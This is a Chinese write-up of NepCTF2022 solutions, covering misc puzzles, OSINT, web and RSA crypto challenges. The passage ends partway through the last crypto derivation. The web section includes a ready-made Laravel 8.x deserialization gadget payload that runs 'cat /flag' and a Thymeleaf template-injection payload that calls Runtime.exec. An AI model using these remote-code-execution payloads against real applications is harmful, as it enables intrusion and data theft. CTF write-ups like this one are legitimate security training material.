NepCTF2022 Writeup

极限套娃

flag格式为nepctf{}

用010editor打开jpg，文件末尾发现了一个zip包，另存为zip，该zip里面仍然有zip，但是文件叫数字，减1，以后也是如此。python写一个脚本来解压最后的压缩包

import zipfile  count = 230 while count>0:     path = str(count)   '.zip'     folder_abs = '.'      zip_file = zipfile.ZipFile(path)     zip_list = zip_file.namelist()      for f in zip_list:         zip_file.extract(f, folder_abs)           zip_file.close()     count -= 1 

最后得到1.zip文件，zip伪加密，用binwalk提取

binwalk -e 1.zip 

花花画了一张图，你能看出来她画的是什么吗

(flag格式为NepCTF{})

去osu!官网下载安装包，然后导入谱面，记录下flag即可

NepCTF{MASTER_OF_坏女人！}

少见的bbbbase

用jphs05打开jpg，点击seek找到了隐藏信息

KkYWdvCQcLYewSUUy5TtQc9AMa

尝试后发现是base58：Base58在线编码解码-ME2在线工具 (metools.info)

flag{Real_qiandao~}

好兄弟中奖了，但是要先汇款。他去哪了？

NepCTF{银行官网网址}

其中东北饺子城和如家酒店作为商业场所，是可以在地图上搜到的，但范围太广。其中Clue_2.png的右下角的车牌有琼字，优先搜索海南省。搜索"东北饺子城"，加双引号是为了完全匹配搜索词，最后找到海南三亚：三亚市区解放二路新风街43号，东北饺子城的地址 - 三亚地图 (city8.com)

搜索中国光大银行的官网，即可得到flag

NepCTF{www.cebbank.com}

NepCTF{bad_woman_nb!}

NepCTF{see_you_NepCTF_2023}

顽皮的HRP用Laravel写了个项目来欢迎大伙来玩Nepctf 2nd，没想到…居然被坏蛋Sharun撅了

访问/www.zip得到网站源码，存在反序列化

<?php

namespace App\Http\Controllers;

class HelloController extends Controller
{ 
        
    public function hello(\Illuminate\Http\Request $request){ 
        
        $h3 = base64_decode($request->input("h3"));
        unserialize($h3);
        return "Welcome Nepctf! GL&HF";
    }
}

参考：最新Laravel(8.x)反序列化漏洞 - 先知社区 (aliyun.com)，使用工具：anyserial: 一个PHP的反序列化工具 (gitee.com)，生成payload

php anyserial.php laravel 8.x "cat /flag" -e base64

TzozMzoiSWxsdW1pbmF0ZVxUZXN0aW5nXFBlbmRpbmdDb21tYW5kIjo0OntzOjQ6InRlc3QiO086MjU6IlRlc3RzXEZlYXR1cmVcRXhhbXBsZVRlc3QiOjE6e3M6MTQ6ImV4cGVjdGVkT3V0cHV0IjthOjE6e3M6NjoiNHV0MTVtIjtzOjExOiJpcyBoYW5kc29tZSI7fX1zOjY6IgAqAGFwcCI7TzozMDoiSWxsdW1pbmF0ZVxDb250YWluZXJcQ29udGFpbmVyIjo0OntzOjExOiIAKgBiaW5kaW5ncyI7YToxOntzOjY6IjRueTBuZSI7YToxOntzOjg6ImNvbmNyZXRlIjtzOjY6IjR1dDE1bSI7fX1zOjEyOiIAKgBpbnN0YW5jZXMiO2E6MTp7czo2OiI0dXQxNW0iO3M6OToiY2F0IC9mbGFnIjt9czoxMDoiACoAYWxpYXNlcyI7YToxOntzOjM1OiJJbGx1bWluYXRlXENvbnRyYWN0c1xDb25zb2xlXEtlcm5lbCI7czo2OiI0bnkwbmUiO31zOjEyOiIAKgBleHRlbmRlcnMiO2E6MTp7czo2OiI0bnkwbmUiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjEzOiIAKgBwYXJhbWV0ZXJzIjthOjA6e31zOjE0OiIAKgBoYXNFeGVjdXRlZCI7YjowO30=

使用python，访问/hello，传参h3

import requests

url = "http://bc0edf60-b062-486b-a8a4-1dbcd93f88c0.nep.lemonprefect.cn:81/hello?h3=TzozMzoiSWxsdW1pbmF0ZVxUZXN0aW5nXFBlbmRpbmdDb21tYW5kIjo0OntzOjQ6InRlc3QiO086MjU6IlRlc3RzXEZlYXR1cmVcRXhhbXBsZVRlc3QiOjE6e3M6MTQ6ImV4cGVjdGVkT3V0cHV0IjthOjE6e3M6NjoiNHV0MTVtIjtzOjExOiJpcyBoYW5kc29tZSI7fX1zOjY6IgAqAGFwcCI7TzozMDoiSWxsdW1pbmF0ZVxDb250YWluZXJcQ29udGFpbmVyIjo0OntzOjExOiIAKgBiaW5kaW5ncyI7YToxOntzOjY6IjRueTBuZSI7YToxOntzOjg6ImNvbmNyZXRlIjtzOjY6IjR1dDE1bSI7fX1zOjEyOiIAKgBpbnN0YW5jZXMiO2E6MTp7czo2OiI0dXQxNW0iO3M6OToiY2F0IC9mbGFnIjt9czoxMDoiACoAYWxpYXNlcyI7YToxOntzOjM1OiJJbGx1bWluYXRlXENvbnRyYWN0c1xDb25zb2xlXEtlcm5lbCI7czo2OiI0bnkwbmUiO31zOjEyOiIAKgBleHRlbmRlcnMiO2E6MTp7czo2OiI0bnkwbmUiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjEzOiIAKgBwYXJhbWV0ZXJzIjthOjA6e31zOjE0OiIAKgBoYXNFeGVjdXRlZCI7YjowO30="
r = requests.get(url)
print(r.text)

NepCTF{34a94788-12c5-437e-9b50-4ef88c344089}

顽皮的HRP又换了种语言写项目来欢迎大家，没想到又让Sharun掘了😭

（flag在根目录下: /flag）

用jadx打开下载下来的jar包，

访问

/eval?lang=ls

返回

Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.

Fri Jul 15 08:41:55 UTC 2022
There was an unexpected error (type=Internal Server Error, status=500).
Error resolving template [user/ls/welcome], template might not exist or might not be accessible by any of the configured Template Resolvers

根据报错可以知道这是模板页不存在，同时jar包里引用了thymeleaf，猜测可能是thymeleaf模板注入

找到这篇文章：Thymeleaf模板注入导致命令执行漏洞分析 - FreeBuf网络安全行业门户，修改得到读取flag的payload

/eval?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat%20/flag").getInputStream()).next()%7d__::

NepCTF{a823b9c6-9aa2-42be-aa6a-f2a5425dbb52}

本题flag格式: NepCTF{xxx}

Have you heard of the Chinese Remainder Theorem?

from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import powmod,is_prime,invert,bit_length, next_prime

from FLAG import flag


def gen_key():
    (p,q,n,e,d) = (0 for _ in range(5))

    p = getStrongPrime(1024)
    q = next_prime(p)

# q = p + 1
# while(True):
# q += 2 if q & 1 else 1
# if is_prime(q, 30):
# break

    n = p*q
    e = 0x10001
    d = invert(e, (p-1)*(q-1))
    par = (p,q,n,e,d)

    return par


def leak(par, c):
    assert len(par) == 5
    (p,q,n,e,d) = par

    print("Here's something for you.")
    print("n =",n)
    print("e =",e)
    print("c_mod_p =",c % p)
    print("c_mod_q =",c % q)


def enc(message, par):
    assert len(par) == 5
    (p,q,n,e,d) = par

    m = bytes_to_long(message)

    c = powmod(m,e,n)
    return c


if __name__ == '__main__':
    par = gen_key()
    c = enc(flag, par)
    leak(par, c)

""" Here's something for you. n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791 e = 65537 c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816 c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922 """

p和q为相邻质数，使用yafu分解即可

使用中国剩余定理解出密文c：孙子定理_百度百科 (baidu.com)

import gmpy2
import libnum

n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791
e = 65537
c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816
c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922

# yafu分解得到p和q
p = 141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202901
q = 141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202891

# 中国剩余定理
t1 = pow(p, -1, q)
t2 = pow(q, -1, p)
c = (c_mod_p*t1*p + c_mod_q*t2*q) % n

phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))

b'NepCTF{ju5t_d0_f4ct_4nd_crt_th3n_d3crypt}'

本题flag格式: flag{xxx}

Zuni: 听说密码学是小学数学来着？

// 随缘评：真的吗

from gmpy2 import *
from Crypto.Util.number import *
from secret import flag
p=getPrime(1024)

q=next_prime(p+(p>>500))

e=0x10001

n=p*q

c=pow(bytes_to_long(flag),e,n)

print("n=",n)
print("c=",c)

''' n= 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507 c= 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186 '''

记 p h = p > > 500 ph = p >> 500 ph=p>>500 ，已知 q = p + p h + k 1 q = p + ph + k_{1} q=p+ph+k1​ ，则 n = p 2 + ( p h + k 1 ) × p n = p^{2} + (ph + k_{1}) \times p n=p2+(ph+k1​)×